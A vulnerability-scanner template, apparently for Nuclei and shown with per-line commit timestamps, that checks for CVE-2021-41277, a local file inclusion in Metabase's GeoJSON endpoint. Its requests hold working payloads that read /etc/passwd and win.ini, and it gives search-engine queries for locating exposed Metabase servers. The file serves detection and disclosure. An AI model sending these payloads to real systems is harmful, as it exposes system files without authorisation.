2021-11-20 06:55:50 +00:00
id : CVE-2021-41277
2021-11-20 11:49:24 +00:00
2021-11-20 06:55:50 +00:00
info :
2024-04-03 13:02:00 +00:00
name : Metabase - Local File Inclusion
2024-04-03 04:52:17 +00:00
author : 0x_Akoko,DhiyaneshDK
2022-05-17 09:18:12 +00:00
severity : high
2024-04-03 13:02:00 +00:00
description : |
Metabase is an open source data analytics platform. In affected versions a local file inclusion security issue has been discovered with the custom GeoJSON map (`admin->settings->maps->custom maps->add a map`) support and potential local file inclusion (including environment variables). URLs were not validated prior to being loaded.
2023-09-27 15:51:13 +00:00
impact : |
The vulnerability can result in unauthorized access to sensitive files or execution of arbitrary code on the affected system.
2024-04-03 13:02:00 +00:00
remediation : |
This issue is fixed in 0.40.5 and .40.5 and higher. If you are unable to upgrade immediately, you can mitigate this by including rules in your reverse proxy or load balancer or WAF to provide a validation filter before the application.
2021-11-20 06:55:50 +00:00
reference :
2021-11-20 11:49:24 +00:00
- https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr
2021-11-20 06:55:50 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-41277
2021-11-20 11:49:24 +00:00
- https://twitter.com/90security/status/1461923313819832324
2022-05-17 09:18:12 +00:00
- https://github.com/metabase/metabase/commit/042a36e49574c749f944e19cf80360fd3dc322f0
2024-03-23 09:28:19 +00:00
- https://github.com/pen4uin/vulnerability-research-list
2021-11-20 06:55:50 +00:00
classification :
2022-05-17 09:18:12 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
2021-11-20 06:55:50 +00:00
cve-id : CVE-2021-41277
2023-11-14 16:35:16 +00:00
cwe-id : CWE-22,CWE-200
2024-05-31 19:23:20 +00:00
epss-score : 0.95556
epss-percentile : 0.99393
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:metabase:metabase:0.40.0:-:*:*:*:*:*:*
2022-04-22 10:38:41 +00:00
metadata :
2024-06-07 10:04:29 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : metabase
product : metabase
2024-06-07 10:04:29 +00:00
shodan-query :
- "http.title:\"Metabase\""
- http.title:"metabase"
fofa-query :
- "app=\"Metabase\""
- title="metabase"
- app="metabase"
google-query : "intitle:\"metabase\""
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,metabase,lfi
2021-11-20 06:55:50 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-11-20 06:55:50 +00:00
- method : GET
path :
2021-11-20 11:49:24 +00:00
- "{{BaseURL}}/api/geojson?url=file:///etc/passwd"
2024-04-03 04:52:17 +00:00
- "{{BaseURL}}/api/geojson?url=file:///c://windows/win.ini"
2021-11-20 06:55:50 +00:00
2024-04-03 13:02:00 +00:00
stop-at-first-match : true
2024-04-03 04:52:17 +00:00
matchers-condition : or
2021-11-20 06:55:50 +00:00
matchers :
- type : regex
2024-04-03 04:52:17 +00:00
part : body
2021-11-20 06:55:50 +00:00
regex :
2024-04-03 04:52:17 +00:00
- "root:.*:0:0"
2021-11-20 06:55:50 +00:00
2024-04-03 04:52:17 +00:00
- type : word
part : body
words :
- "bit app support"
- "fonts"
- "extensions"
condition : and
2024-06-01 06:53:00 +00:00
# digest: 4b0a00483046022100883edb38fcae19e59f27d4186083d3d877ea6f3d4ac06f23a39aac3333eee128022100f3bca54269374c671b4aa37fe5d75bb65720a084359beded0ddb553286263455:922c64590222798bb761d5b6d8e72950